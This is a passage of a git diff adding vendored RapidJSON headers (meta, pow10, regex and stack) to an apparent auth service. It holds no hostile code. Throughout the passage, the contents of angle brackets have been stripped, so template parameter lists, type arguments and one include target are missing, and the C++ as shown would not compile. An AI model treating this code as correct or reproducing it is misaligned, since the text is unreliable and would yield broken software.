IsBaseOfImpl { + RAPIDJSON_STATIC_ASSERT(sizeof(B) != 0); + RAPIDJSON_STATIC_ASSERT(sizeof(D) != 0); + + typedef char (&Yes)[1]; + typedef char (&No) [2]; + + template + static Yes Check(const D*, T); + static No Check(const B*, int); + + struct Host { + operator const B*() const; + operator const D*(); + }; + + enum { Value = (sizeof(Check(Host(), 0)) == sizeof(Yes)) }; +}; + +template struct IsBaseOf + : OrExpr, BoolExpr > >::Type {}; + +#endif // RAPIDJSON_HAS_CXX11_TYPETRAITS + + +////////////////////////////////////////////////////////////////////////// +// EnableIf / DisableIf +// +template struct EnableIfCond { typedef T Type; }; +template struct EnableIfCond { /* empty */ }; + +template struct DisableIfCond { typedef T Type; }; +template struct DisableIfCond { /* empty */ }; + +template +struct EnableIf : EnableIfCond {}; + +template +struct DisableIf : DisableIfCond {}; + +// SFINAE helpers +struct SfinaeTag {}; +template struct RemoveSfinaeTag; +template struct RemoveSfinaeTag { typedef T Type; }; + +#define RAPIDJSON_REMOVEFPTR_(type) \ + typename ::RAPIDJSON_NAMESPACE::internal::RemoveSfinaeTag \ + < ::RAPIDJSON_NAMESPACE::internal::SfinaeTag&(*) type>::Type + +#define RAPIDJSON_ENABLEIF(cond) \ + typename ::RAPIDJSON_NAMESPACE::internal::EnableIf \ + ::Type * = NULL + +#define RAPIDJSON_DISABLEIF(cond) \ + typename ::RAPIDJSON_NAMESPACE::internal::DisableIf \ + ::Type * = NULL + +#define RAPIDJSON_ENABLEIF_RETURN(cond,returntype) \ + typename ::RAPIDJSON_NAMESPACE::internal::EnableIf \ + ::Type + +#define RAPIDJSON_DISABLEIF_RETURN(cond,returntype) \ + typename ::RAPIDJSON_NAMESPACE::internal::DisableIf \ + ::Type + +} // namespace internal +RAPIDJSON_NAMESPACE_END +//@endcond + +#if defined(_MSC_VER) && !defined(__clang__) +RAPIDJSON_DIAG_POP +#endif + +#ifdef __GNUC__ +RAPIDJSON_DIAG_POP +#endif + +#endif // RAPIDJSON_INTERNAL_META_H_ diff --git a/services/service2/src/auth_service/rapidjson/internal/pow10.h b/services/service2/src/auth_service/rapidjson/internal/pow10.h new file mode 100644 index 0000000..eae1a43 --- /dev/null +++ b/services/service2/src/auth_service/rapidjson/internal/pow10.h @@ -0,0 +1,55 @@ +// Tencent is pleased to support the open source community by making RapidJSON available. +// +// Copyright (C) 2015 THL A29 Limited, a Tencent company, and Milo Yip. +// +// Licensed under the MIT License (the "License"); you may not use this file except +// in compliance with the License. You may obtain a copy of the License at +// +// http://opensource.org/licenses/MIT +// +// Unless required by applicable law or agreed to in writing, software distributed +// under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR +// CONDITIONS OF ANY KIND, either express or implied. See the License for the +// specific language governing permissions and limitations under the License. + +#ifndef RAPIDJSON_POW10_ +#define RAPIDJSON_POW10_ + +#include "../rapidjson.h" + +RAPIDJSON_NAMESPACE_BEGIN +namespace internal { + +//! Computes integer powers of 10 in double (10.0^n). +/*! This function uses lookup table for fast and accurate results. + \param n non-negative exponent. Must <= 308. + \return 10.0^n +*/ +inline double Pow10(int n) { + static const double e[] = { // 1e-0...1e308: 309 * 8 bytes = 2472 bytes + 1e+0, + 1e+1, 1e+2, 1e+3, 1e+4, 1e+5, 1e+6, 1e+7, 1e+8, 1e+9, 1e+10, 1e+11, 1e+12, 1e+13, 1e+14, 1e+15, 1e+16, 1e+17, 1e+18, 1e+19, 1e+20, + 1e+21, 1e+22, 1e+23, 1e+24, 1e+25, 1e+26, 1e+27, 1e+28, 1e+29, 1e+30, 1e+31, 1e+32, 1e+33, 1e+34, 1e+35, 1e+36, 1e+37, 1e+38, 1e+39, 1e+40, + 1e+41, 1e+42, 1e+43, 1e+44, 1e+45, 1e+46, 1e+47, 1e+48, 1e+49, 1e+50, 1e+51, 1e+52, 1e+53, 1e+54, 1e+55, 1e+56, 1e+57, 1e+58, 1e+59, 1e+60, + 1e+61, 1e+62, 1e+63, 1e+64, 1e+65, 1e+66, 1e+67, 1e+68, 1e+69, 1e+70, 1e+71, 1e+72, 1e+73, 1e+74, 1e+75, 1e+76, 1e+77, 1e+78, 1e+79, 1e+80, + 1e+81, 1e+82, 1e+83, 1e+84, 1e+85, 1e+86, 1e+87, 1e+88, 1e+89, 1e+90, 1e+91, 1e+92, 1e+93, 1e+94, 1e+95, 1e+96, 1e+97, 1e+98, 1e+99, 1e+100, + 1e+101,1e+102,1e+103,1e+104,1e+105,1e+106,1e+107,1e+108,1e+109,1e+110,1e+111,1e+112,1e+113,1e+114,1e+115,1e+116,1e+117,1e+118,1e+119,1e+120, + 1e+121,1e+122,1e+123,1e+124,1e+125,1e+126,1e+127,1e+128,1e+129,1e+130,1e+131,1e+132,1e+133,1e+134,1e+135,1e+136,1e+137,1e+138,1e+139,1e+140, + 1e+141,1e+142,1e+143,1e+144,1e+145,1e+146,1e+147,1e+148,1e+149,1e+150,1e+151,1e+152,1e+153,1e+154,1e+155,1e+156,1e+157,1e+158,1e+159,1e+160, + 1e+161,1e+162,1e+163,1e+164,1e+165,1e+166,1e+167,1e+168,1e+169,1e+170,1e+171,1e+172,1e+173,1e+174,1e+175,1e+176,1e+177,1e+178,1e+179,1e+180, + 1e+181,1e+182,1e+183,1e+184,1e+185,1e+186,1e+187,1e+188,1e+189,1e+190,1e+191,1e+192,1e+193,1e+194,1e+195,1e+196,1e+197,1e+198,1e+199,1e+200, + 1e+201,1e+202,1e+203,1e+204,1e+205,1e+206,1e+207,1e+208,1e+209,1e+210,1e+211,1e+212,1e+213,1e+214,1e+215,1e+216,1e+217,1e+218,1e+219,1e+220, + 1e+221,1e+222,1e+223,1e+224,1e+225,1e+226,1e+227,1e+228,1e+229,1e+230,1e+231,1e+232,1e+233,1e+234,1e+235,1e+236,1e+237,1e+238,1e+239,1e+240, + 1e+241,1e+242,1e+243,1e+244,1e+245,1e+246,1e+247,1e+248,1e+249,1e+250,1e+251,1e+252,1e+253,1e+254,1e+255,1e+256,1e+257,1e+258,1e+259,1e+260, + 1e+261,1e+262,1e+263,1e+264,1e+265,1e+266,1e+267,1e+268,1e+269,1e+270,1e+271,1e+272,1e+273,1e+274,1e+275,1e+276,1e+277,1e+278,1e+279,1e+280, + 1e+281,1e+282,1e+283,1e+284,1e+285,1e+286,1e+287,1e+288,1e+289,1e+290,1e+291,1e+292,1e+293,1e+294,1e+295,1e+296,1e+297,1e+298,1e+299,1e+300, + 1e+301,1e+302,1e+303,1e+304,1e+305,1e+306,1e+307,1e+308 + }; + RAPIDJSON_ASSERT(n >= 0 && n <= 308); + return e[n]; +} + +} // namespace internal +RAPIDJSON_NAMESPACE_END + +#endif // RAPIDJSON_POW10_ diff --git a/services/service2/src/auth_service/rapidjson/internal/regex.h b/services/service2/src/auth_service/rapidjson/internal/regex.h new file mode 100644 index 0000000..6446c40 --- /dev/null +++ b/services/service2/src/auth_service/rapidjson/internal/regex.h @@ -0,0 +1,739 @@ +// Tencent is pleased to support the open source community by making RapidJSON available. +// +// Copyright (C) 2015 THL A29 Limited, a Tencent company, and Milo Yip. +// +// Licensed under the MIT License (the "License"); you may not use this file except +// in compliance with the License. You may obtain a copy of the License at +// +// http://opensource.org/licenses/MIT +// +// Unless required by applicable law or agreed to in writing, software distributed +// under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR +// CONDITIONS OF ANY KIND, either express or implied. See the License for the +// specific language governing permissions and limitations under the License. + +#ifndef RAPIDJSON_INTERNAL_REGEX_H_ +#define RAPIDJSON_INTERNAL_REGEX_H_ + +#include "../allocators.h" +#include "../stream.h" +#include "stack.h" + +#ifdef __clang__ +RAPIDJSON_DIAG_PUSH +RAPIDJSON_DIAG_OFF(padded) +RAPIDJSON_DIAG_OFF(switch-enum) +#elif defined(_MSC_VER) +RAPIDJSON_DIAG_PUSH +RAPIDJSON_DIAG_OFF(4512) // assignment operator could not be generated +#endif + +#ifdef __GNUC__ +RAPIDJSON_DIAG_PUSH +RAPIDJSON_DIAG_OFF(effc++) +#endif + +#ifndef RAPIDJSON_REGEX_VERBOSE +#define RAPIDJSON_REGEX_VERBOSE 0 +#endif + +RAPIDJSON_NAMESPACE_BEGIN +namespace internal { + +/////////////////////////////////////////////////////////////////////////////// +// DecodedStream + +template +class DecodedStream { +public: + DecodedStream(SourceStream& ss) : ss_(ss), codepoint_() { Decode(); } + unsigned Peek() { return codepoint_; } + unsigned Take() { + unsigned c = codepoint_; + if (c) // No further decoding when '\0' + Decode(); + return c; + } + +private: + void Decode() { + if (!Encoding::Decode(ss_, &codepoint_)) + codepoint_ = 0; + } + + SourceStream& ss_; + unsigned codepoint_; +}; + +/////////////////////////////////////////////////////////////////////////////// +// GenericRegex + +static const SizeType kRegexInvalidState = ~SizeType(0); //!< Represents an invalid index in GenericRegex::State::out, out1 +static const SizeType kRegexInvalidRange = ~SizeType(0); + +template +class GenericRegexSearch; + +//! Regular expression engine with subset of ECMAscript grammar. +/*! + Supported regular expression syntax: + - \c ab Concatenation + - \c a|b Alternation + - \c a? Zero or one + - \c a* Zero or more + - \c a+ One or more + - \c a{3} Exactly 3 times + - \c a{3,} At least 3 times + - \c a{3,5} 3 to 5 times + - \c (ab) Grouping + - \c ^a At the beginning + - \c a$ At the end + - \c . Any character + - \c [abc] Character classes + - \c [a-c] Character class range + - \c [a-z0-9_] Character class combination + - \c [^abc] Negated character classes + - \c [^a-c] Negated character class range + - \c [\b] Backspace (U+0008) + - \c \\| \\\\ ... Escape characters + - \c \\f Form feed (U+000C) + - \c \\n Line feed (U+000A) + - \c \\r Carriage return (U+000D) + - \c \\t Tab (U+0009) + - \c \\v Vertical tab (U+000B) + + \note This is a Thompson NFA engine, implemented with reference to + Cox, Russ. "Regular Expression Matching Can Be Simple And Fast (but is slow in Java, Perl, PHP, Python, Ruby,...).", + https://swtch.com/~rsc/regexp/regexp1.html +*/ +template +class GenericRegex { +public: + typedef Encoding EncodingType; + typedef typename Encoding::Ch Ch; + template friend class GenericRegexSearch; + + GenericRegex(const Ch* source, Allocator* allocator = 0) : + ownAllocator_(allocator ? 0 : RAPIDJSON_NEW(Allocator)()), allocator_(allocator ? allocator : ownAllocator_), + states_(allocator_, 256), ranges_(allocator_, 256), root_(kRegexInvalidState), stateCount_(), rangeCount_(), + anchorBegin_(), anchorEnd_() + { + GenericStringStream ss(source); + DecodedStream, Encoding> ds(ss); + Parse(ds); + } + + ~GenericRegex() + { + RAPIDJSON_DELETE(ownAllocator_); + } + + bool IsValid() const { + return root_ != kRegexInvalidState; + } + +private: + enum Operator { + kZeroOrOne, + kZeroOrMore, + kOneOrMore, + kConcatenation, + kAlternation, + kLeftParenthesis + }; + + static const unsigned kAnyCharacterClass = 0xFFFFFFFF; //!< For '.' + static const unsigned kRangeCharacterClass = 0xFFFFFFFE; + static const unsigned kRangeNegationFlag = 0x80000000; + + struct Range { + unsigned start; // + unsigned end; + SizeType next; + }; + + struct State { + SizeType out; //!< Equals to kInvalid for matching state + SizeType out1; //!< Equals to non-kInvalid for split + SizeType rangeStart; + unsigned codepoint; + }; + + struct Frag { + Frag(SizeType s, SizeType o, SizeType m) : start(s), out(o), minIndex(m) {} + SizeType start; + SizeType out; //!< link-list of all output states + SizeType minIndex; + }; + + State& GetState(SizeType index) { + RAPIDJSON_ASSERT(index < stateCount_); + return states_.template Bottom()[index]; + } + + const State& GetState(SizeType index) const { + RAPIDJSON_ASSERT(index < stateCount_); + return states_.template Bottom()[index]; + } + + Range& GetRange(SizeType index) { + RAPIDJSON_ASSERT(index < rangeCount_); + return ranges_.template Bottom()[index]; + } + + const Range& GetRange(SizeType index) const { + RAPIDJSON_ASSERT(index < rangeCount_); + return ranges_.template Bottom()[index]; + } + + template + void Parse(DecodedStream& ds) { + Stack operandStack(allocator_, 256); // Frag + Stack operatorStack(allocator_, 256); // Operator + Stack atomCountStack(allocator_, 256); // unsigned (Atom per parenthesis) + + *atomCountStack.template Push() = 0; + + unsigned codepoint; + while (ds.Peek() != 0) { + switch (codepoint = ds.Take()) { + case '^': + anchorBegin_ = true; + break; + + case '$': + anchorEnd_ = true; + break; + + case '|': + while (!operatorStack.Empty() && *operatorStack.template Top() < kAlternation) + if (!Eval(operandStack, *operatorStack.template Pop(1))) + return; + *operatorStack.template Push() = kAlternation; + *atomCountStack.template Top() = 0; + break; + + case '(': + *operatorStack.template Push() = kLeftParenthesis; + *atomCountStack.template Push() = 0; + break; + + case ')': + while (!operatorStack.Empty() && *operatorStack.template Top() != kLeftParenthesis) + if (!Eval(operandStack, *operatorStack.template Pop(1))) + return; + if (operatorStack.Empty()) + return; + operatorStack.template Pop(1); + atomCountStack.template Pop(1); + ImplicitConcatenation(atomCountStack, operatorStack); + break; + + case '?': + if (!Eval(operandStack, kZeroOrOne)) + return; + break; + + case '*': + if (!Eval(operandStack, kZeroOrMore)) + return; + break; + + case '+': + if (!Eval(operandStack, kOneOrMore)) + return; + break; + + case '{': + { + unsigned n, m; + if (!ParseUnsigned(ds, &n)) + return; + + if (ds.Peek() == ',') { + ds.Take(); + if (ds.Peek() == '}') + m = kInfinityQuantifier; + else if (!ParseUnsigned(ds, &m) || m < n) + return; + } + else + m = n; + + if (!EvalQuantifier(operandStack, n, m) || ds.Peek() != '}') + return; + ds.Take(); + } + break; + + case '.': + PushOperand(operandStack, kAnyCharacterClass); + ImplicitConcatenation(atomCountStack, operatorStack); + break; + + case '[': + { + SizeType range; + if (!ParseRange(ds, &range)) + return; + SizeType s = NewState(kRegexInvalidState, kRegexInvalidState, kRangeCharacterClass); + GetState(s).rangeStart = range; + *operandStack.template Push() = Frag(s, s, s); + } + ImplicitConcatenation(atomCountStack, operatorStack); + break; + + case '\\': // Escape character + if (!CharacterEscape(ds, &codepoint)) + return; // Unsupported escape character + // fall through to default + RAPIDJSON_DELIBERATE_FALLTHROUGH; + + default: // Pattern character + PushOperand(operandStack, codepoint); + ImplicitConcatenation(atomCountStack, operatorStack); + } + } + + while (!operatorStack.Empty()) + if (!Eval(operandStack, *operatorStack.template Pop(1))) + return; + + // Link the operand to matching state. + if (operandStack.GetSize() == sizeof(Frag)) { + Frag* e = operandStack.template Pop(1); + Patch(e->out, NewState(kRegexInvalidState, kRegexInvalidState, 0)); + root_ = e->start; + +#if RAPIDJSON_REGEX_VERBOSE + printf("root: %d\n", root_); + for (SizeType i = 0; i < stateCount_ ; i++) { + State& s = GetState(i); + printf("[%2d] out: %2d out1: %2d c: '%c'\n", i, s.out, s.out1, (char)s.codepoint); + } + printf("\n"); +#endif + } + } + + SizeType NewState(SizeType out, SizeType out1, unsigned codepoint) { + State* s = states_.template Push(); + s->out = out; + s->out1 = out1; + s->codepoint = codepoint; + s->rangeStart = kRegexInvalidRange; + return stateCount_++; + } + + void PushOperand(Stack& operandStack, unsigned codepoint) { + SizeType s = NewState(kRegexInvalidState, kRegexInvalidState, codepoint); + *operandStack.template Push() = Frag(s, s, s); + } + + void ImplicitConcatenation(Stack& atomCountStack, Stack& operatorStack) { + if (*atomCountStack.template Top()) + *operatorStack.template Push() = kConcatenation; + (*atomCountStack.template Top())++; + } + + SizeType Append(SizeType l1, SizeType l2) { + SizeType old = l1; + while (GetState(l1).out != kRegexInvalidState) + l1 = GetState(l1).out; + GetState(l1).out = l2; + return old; + } + + void Patch(SizeType l, SizeType s) { + for (SizeType next; l != kRegexInvalidState; l = next) { + next = GetState(l).out; + GetState(l).out = s; + } + } + + bool Eval(Stack& operandStack, Operator op) { + switch (op) { + case kConcatenation: + RAPIDJSON_ASSERT(operandStack.GetSize() >= sizeof(Frag) * 2); + { + Frag e2 = *operandStack.template Pop(1); + Frag e1 = *operandStack.template Pop(1); + Patch(e1.out, e2.start); + *operandStack.template Push() = Frag(e1.start, e2.out, Min(e1.minIndex, e2.minIndex)); + } + return true; + + case kAlternation: + if (operandStack.GetSize() >= sizeof(Frag) * 2) { + Frag e2 = *operandStack.template Pop(1); + Frag e1 = *operandStack.template Pop(1); + SizeType s = NewState(e1.start, e2.start, 0); + *operandStack.template Push() = Frag(s, Append(e1.out, e2.out), Min(e1.minIndex, e2.minIndex)); + return true; + } + return false; + + case kZeroOrOne: + if (operandStack.GetSize() >= sizeof(Frag)) { + Frag e = *operandStack.template Pop(1); + SizeType s = NewState(kRegexInvalidState, e.start, 0); + *operandStack.template Push() = Frag(s, Append(e.out, s), e.minIndex); + return true; + } + return false; + + case kZeroOrMore: + if (operandStack.GetSize() >= sizeof(Frag)) { + Frag e = *operandStack.template Pop(1); + SizeType s = NewState(kRegexInvalidState, e.start, 0); + Patch(e.out, s); + *operandStack.template Push() = Frag(s, s, e.minIndex); + return true; + } + return false; + + case kOneOrMore: + if (operandStack.GetSize() >= sizeof(Frag)) { + Frag e = *operandStack.template Pop(1); + SizeType s = NewState(kRegexInvalidState, e.start, 0); + Patch(e.out, s); + *operandStack.template Push() = Frag(e.start, s, e.minIndex); + return true; + } + return false; + + default: + // syntax error (e.g. unclosed kLeftParenthesis) + return false; + } + } + + bool EvalQuantifier(Stack& operandStack, unsigned n, unsigned m) { + RAPIDJSON_ASSERT(n <= m); + RAPIDJSON_ASSERT(operandStack.GetSize() >= sizeof(Frag)); + + if (n == 0) { + if (m == 0) // a{0} not support + return false; + else if (m == kInfinityQuantifier) + Eval(operandStack, kZeroOrMore); // a{0,} -> a* + else { + Eval(operandStack, kZeroOrOne); // a{0,5} -> a? + for (unsigned i = 0; i < m - 1; i++) + CloneTopOperand(operandStack); // a{0,5} -> a? a? a? a? a? + for (unsigned i = 0; i < m - 1; i++) + Eval(operandStack, kConcatenation); // a{0,5} -> a?a?a?a?a? + } + return true; + } + + for (unsigned i = 0; i < n - 1; i++) // a{3} -> a a a + CloneTopOperand(operandStack); + + if (m == kInfinityQuantifier) + Eval(operandStack, kOneOrMore); // a{3,} -> a a a+ + else if (m > n) { + CloneTopOperand(operandStack); // a{3,5} -> a a a a + Eval(operandStack, kZeroOrOne); // a{3,5} -> a a a a? + for (unsigned i = n; i < m - 1; i++) + CloneTopOperand(operandStack); // a{3,5} -> a a a a? a? + for (unsigned i = n; i < m; i++) + Eval(operandStack, kConcatenation); // a{3,5} -> a a aa?a? + } + + for (unsigned i = 0; i < n - 1; i++) + Eval(operandStack, kConcatenation); // a{3} -> aaa, a{3,} -> aaa+, a{3.5} -> aaaa?a? + + return true; + } + + static SizeType Min(SizeType a, SizeType b) { return a < b ? a : b; } + + void CloneTopOperand(Stack& operandStack) { + const Frag src = *operandStack.template Top(); // Copy constructor to prevent invalidation + SizeType count = stateCount_ - src.minIndex; // Assumes top operand contains states in [src->minIndex, stateCount_) + State* s = states_.template Push(count); + memcpy(s, &GetState(src.minIndex), count * sizeof(State)); + for (SizeType j = 0; j < count; j++) { + if (s[j].out != kRegexInvalidState) + s[j].out += count; + if (s[j].out1 != kRegexInvalidState) + s[j].out1 += count; + } + *operandStack.template Push() = Frag(src.start + count, src.out + count, src.minIndex + count); + stateCount_ += count; + } + + template + bool ParseUnsigned(DecodedStream& ds, unsigned* u) { + unsigned r = 0; + if (ds.Peek() < '0' || ds.Peek() > '9') + return false; + while (ds.Peek() >= '0' && ds.Peek() <= '9') { + if (r >= 429496729 && ds.Peek() > '5') // 2^32 - 1 = 4294967295 + return false; // overflow + r = r * 10 + (ds.Take() - '0'); + } + *u = r; + return true; + } + + template + bool ParseRange(DecodedStream& ds, SizeType* range) { + bool isBegin = true; + bool negate = false; + int step = 0; + SizeType start = kRegexInvalidRange; + SizeType current = kRegexInvalidRange; + unsigned codepoint; + while ((codepoint = ds.Take()) != 0) { + if (isBegin) { + isBegin = false; + if (codepoint == '^') { + negate = true; + continue; + } + } + + switch (codepoint) { + case ']': + if (start == kRegexInvalidRange) + return false; // Error: nothing inside [] + if (step == 2) { // Add trailing '-' + SizeType r = NewRange('-'); + RAPIDJSON_ASSERT(current != kRegexInvalidRange); + GetRange(current).next = r; + } + if (negate) + GetRange(start).start |= kRangeNegationFlag; + *range = start; + return true; + + case '\\': + if (ds.Peek() == 'b') { + ds.Take(); + codepoint = 0x0008; // Escape backspace character + } + else if (!CharacterEscape(ds, &codepoint)) + return false; + // fall through to default + RAPIDJSON_DELIBERATE_FALLTHROUGH; + + default: + switch (step) { + case 1: + if (codepoint == '-') { + step++; + break; + } + // fall through to step 0 for other characters + RAPIDJSON_DELIBERATE_FALLTHROUGH; + + case 0: + { + SizeType r = NewRange(codepoint); + if (current != kRegexInvalidRange) + GetRange(current).next = r; + if (start == kRegexInvalidRange) + start = r; + current = r; + } + step = 1; + break; + + default: + RAPIDJSON_ASSERT(step == 2); + GetRange(current).end = codepoint; + step = 0; + } + } + } + return false; + } + + SizeType NewRange(unsigned codepoint) { + Range* r = ranges_.template Push(); + r->start = r->end = codepoint; + r->next = kRegexInvalidRange; + return rangeCount_++; + } + + template + bool CharacterEscape(DecodedStream& ds, unsigned* escapedCodepoint) { + unsigned codepoint; + switch (codepoint = ds.Take()) { + case '^': + case '$': + case '|': + case '(': + case ')': + case '?': + case '*': + case '+': + case '.': + case '[': + case ']': + case '{': + case '}': + case '\\': + *escapedCodepoint = codepoint; return true; + case 'f': *escapedCodepoint = 0x000C; return true; + case 'n': *escapedCodepoint = 0x000A; return true; + case 'r': *escapedCodepoint = 0x000D; return true; + case 't': *escapedCodepoint = 0x0009; return true; + case 'v': *escapedCodepoint = 0x000B; return true; + default: + return false; // Unsupported escape character + } + } + + Allocator* ownAllocator_; + Allocator* allocator_; + Stack states_; + Stack ranges_; + SizeType root_; + SizeType stateCount_; + SizeType rangeCount_; + + static const unsigned kInfinityQuantifier = ~0u; + + // For SearchWithAnchoring() + bool anchorBegin_; + bool anchorEnd_; +}; + +template +class GenericRegexSearch { +public: + typedef typename RegexType::EncodingType Encoding; + typedef typename Encoding::Ch Ch; + + GenericRegexSearch(const RegexType& regex, Allocator* allocator = 0) : + regex_(regex), allocator_(allocator), ownAllocator_(0), + state0_(allocator, 0), state1_(allocator, 0), stateSet_() + { + RAPIDJSON_ASSERT(regex_.IsValid()); + if (!allocator_) + ownAllocator_ = allocator_ = RAPIDJSON_NEW(Allocator)(); + stateSet_ = static_cast(allocator_->Malloc(GetStateSetSize())); + state0_.template Reserve(regex_.stateCount_); + state1_.template Reserve(regex_.stateCount_); + } + + ~GenericRegexSearch() { + Allocator::Free(stateSet_); + RAPIDJSON_DELETE(ownAllocator_); + } + + template + bool Match(InputStream& is) { + return SearchWithAnchoring(is, true, true); + } + + bool Match(const Ch* s) { + GenericStringStream is(s); + return Match(is); + } + + template + bool Search(InputStream& is) { + return SearchWithAnchoring(is, regex_.anchorBegin_, regex_.anchorEnd_); + } + + bool Search(const Ch* s) { + GenericStringStream is(s); + return Search(is); + } + +private: + typedef typename RegexType::State State; + typedef typename RegexType::Range Range; + + template + bool SearchWithAnchoring(InputStream& is, bool anchorBegin, bool anchorEnd) { + DecodedStream ds(is); + + state0_.Clear(); + Stack *current = &state0_, *next = &state1_; + const size_t stateSetSize = GetStateSetSize(); + std::memset(stateSet_, 0, stateSetSize); + + bool matched = AddState(*current, regex_.root_); + unsigned codepoint; + while (!current->Empty() && (codepoint = ds.Take()) != 0) { + std::memset(stateSet_, 0, stateSetSize); + next->Clear(); + matched = false; + for (const SizeType* s = current->template Bottom(); s != current->template End(); ++s) { + const State& sr = regex_.GetState(*s); + if (sr.codepoint == codepoint || + sr.codepoint == RegexType::kAnyCharacterClass || + (sr.codepoint == RegexType::kRangeCharacterClass && MatchRange(sr.rangeStart, codepoint))) + { + matched = AddState(*next, sr.out) || matched; + if (!anchorEnd && matched) + return true; + } + if (!anchorBegin) + AddState(*next, regex_.root_); + } + internal::Swap(current, next); + } + + return matched; + } + + size_t GetStateSetSize() const { + return (regex_.stateCount_ + 31) / 32 * 4; + } + + // Return whether the added states is a match state + bool AddState(Stack& l, SizeType index) { + RAPIDJSON_ASSERT(index != kRegexInvalidState); + + const State& s = regex_.GetState(index); + if (s.out1 != kRegexInvalidState) { // Split + bool matched = AddState(l, s.out); + return AddState(l, s.out1) || matched; + } + else if (!(stateSet_[index >> 5] & (1u << (index & 31)))) { + stateSet_[index >> 5] |= (1u << (index & 31)); + *l.template PushUnsafe() = index; + } + return s.out == kRegexInvalidState; // by using PushUnsafe() above, we can ensure s is not validated due to reallocation. + } + + bool MatchRange(SizeType rangeIndex, unsigned codepoint) const { + bool yes = (regex_.GetRange(rangeIndex).start & RegexType::kRangeNegationFlag) == 0; + while (rangeIndex != kRegexInvalidRange) { + const Range& r = regex_.GetRange(rangeIndex); + if (codepoint >= (r.start & ~RegexType::kRangeNegationFlag) && codepoint <= r.end) + return yes; + rangeIndex = r.next; + } + return !yes; + } + + const RegexType& regex_; + Allocator* allocator_; + Allocator* ownAllocator_; + Stack state0_; + Stack state1_; + uint32_t* stateSet_; +}; + +typedef GenericRegex > Regex; +typedef GenericRegexSearch RegexSearch; + +} // namespace internal +RAPIDJSON_NAMESPACE_END + +#ifdef __GNUC__ +RAPIDJSON_DIAG_POP +#endif + +#if defined(__clang__) || defined(_MSC_VER) +RAPIDJSON_DIAG_POP +#endif + +#endif // RAPIDJSON_INTERNAL_REGEX_H_ diff --git a/services/service2/src/auth_service/rapidjson/internal/stack.h b/services/service2/src/auth_service/rapidjson/internal/stack.h new file mode 100644 index 0000000..73abd70 --- /dev/null +++ b/services/service2/src/auth_service/rapidjson/internal/stack.h @@ -0,0 +1,232 @@ +// Tencent is pleased to support the open source community by making RapidJSON available. +// +// Copyright (C) 2015 THL A29 Limited, a Tencent company, and Milo Yip. +// +// Licensed under the MIT License (the "License"); you may not use this file except +// in compliance with the License. You may obtain a copy of the License at +// +// http://opensource.org/licenses/MIT +// +// Unless required by applicable law or agreed to in writing, software distributed +// under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR +// CONDITIONS OF ANY KIND, either express or implied. See the License for the +// specific language governing permissions and limitations under the License. + +#ifndef RAPIDJSON_INTERNAL_STACK_H_ +#define RAPIDJSON_INTERNAL_STACK_H_ + +#include "../allocators.h" +#include "swap.h" +#include + +#if defined(__clang__) +RAPIDJSON_DIAG_PUSH +RAPIDJSON_DIAG_OFF(c++98-compat) +#endif + +RAPIDJSON_NAMESPACE_BEGIN +namespace internal { + +/////////////////////////////////////////////////////////////////////////////// +// Stack + +//! A type-unsafe stack for storing different types of data. +/*! \tparam Allocator Allocator for allocating stack memory. +*/ +template +class Stack { +public: + // Optimization note: Do not allocate memory for stack_ in constructor. + // Do it lazily when first Push() -> Expand() -> Resize(). + Stack(Allocator* allocator, size_t stackCapacity) : allocator_(allocator), ownAllocator_(0), stack_(0), stackTop_(0), stackEnd_(0), initialCapacity_(stackCapacity) { + } + +#if RAPIDJSON_HAS_CXX11_RVALUE_REFS + Stack(Stack&& rhs) + : allocator_(rhs.allocator_), + ownAllocator_(rhs.ownAllocator_), + stack_(rhs.stack_), + stackTop_(rhs.stackTop_), + stackEnd_(rhs.stackEnd_), + initialCapacity_(rhs.initialCapacity_) + { + rhs.allocator_ = 0; + rhs.ownAllocator_ = 0; + rhs.stack_ = 0; + rhs.stackTop_ = 0; + rhs.stackEnd_ = 0; + rhs.initialCapacity_ = 0; + } +#endif + + ~Stack() { + Destroy(); + } + +#if RAPIDJSON_HAS_CXX11_RVALUE_REFS + Stack& operator=(Stack&& rhs) { + if (&rhs != this) + { + Destroy(); + + allocator_ = rhs.allocator_; + ownAllocator_ = rhs.ownAllocator_; + stack_ = rhs.stack_; + stackTop_ = rhs.stackTop_; + stackEnd_ = rhs.stackEnd_; + initialCapacity_ = rhs.initialCapacity_; + + rhs.allocator_ = 0; + rhs.ownAllocator_ = 0; + rhs.stack_ = 0; + rhs.stackTop_ = 0; + rhs.stackEnd_ = 0; + rhs.initialCapacity_ = 0; + } + return *this; + } +#endif + + void Swap(Stack& rhs) RAPIDJSON_NOEXCEPT { + internal::Swap(allocator_, rhs.allocator_); + internal::Swap(ownAllocator_, rhs.ownAllocator_); + internal::Swap(stack_, rhs.stack_); + internal::Swap(stackTop_, rhs.stackTop_); + internal::Swap(stackEnd_, rhs.stackEnd_); + internal::Swap(initialCapacity_, rhs.initialCapacity_); + } + + void Clear() { stackTop_ = stack_; } + + void ShrinkToFit() { + if (Empty()) { + // If the stack is empty, completely deallocate the memory. + Allocator::Free(stack_); // NOLINT (+clang-analyzer-unix.Malloc) + stack_ = 0; + stackTop_ = 0; + stackEnd_ = 0; + } + else + Resize(GetSize()); + } + + // Optimization note: try to minimize the size of this function for force inline. + // Expansion is run very infrequently, so it is moved to another (probably non-inline) function. + template + RAPIDJSON_FORCEINLINE void Reserve(size_t count = 1) { + // Expand the stack if needed + if (RAPIDJSON_UNLIKELY(static_cast(sizeof(T) * count) > (stackEnd_ - stackTop_))) + Expand(count); + } + + template + RAPIDJSON_FORCEINLINE T* Push(size_t count = 1) { + Reserve(count); + return PushUnsafe(count); + } + + template + RAPIDJSON_FORCEINLINE T* PushUnsafe(size_t count = 1) { + RAPIDJSON_ASSERT(stackTop_); + RAPIDJSON_ASSERT(static_cast(sizeof(T) * count) <= (stackEnd_ - stackTop_)); + T* ret = reinterpret_cast(stackTop_); + stackTop_ += sizeof(T) * count; + return ret; + } + + template + T* Pop(size_t count) { + RAPIDJSON_ASSERT(GetSize() >= count * sizeof(T)); + stackTop_ -= count * sizeof(T); + return reinterpret_cast(stackTop_); + } + + template + T* Top() { + RAPIDJSON_ASSERT(GetSize() >= sizeof(T)); + return reinterpret_cast(stackTop_ - sizeof(T)); + } + + template + const T* Top() const { + RAPIDJSON_ASSERT(GetSize() >= sizeof(T)); + return reinterpret_cast(stackTop_ - sizeof(T)); + } + + template + T* End() { return reinterpret_cast(stackTop_); } + + template + const T* End() const { return reinterpret_cast(stackTop_); } + + template + T* 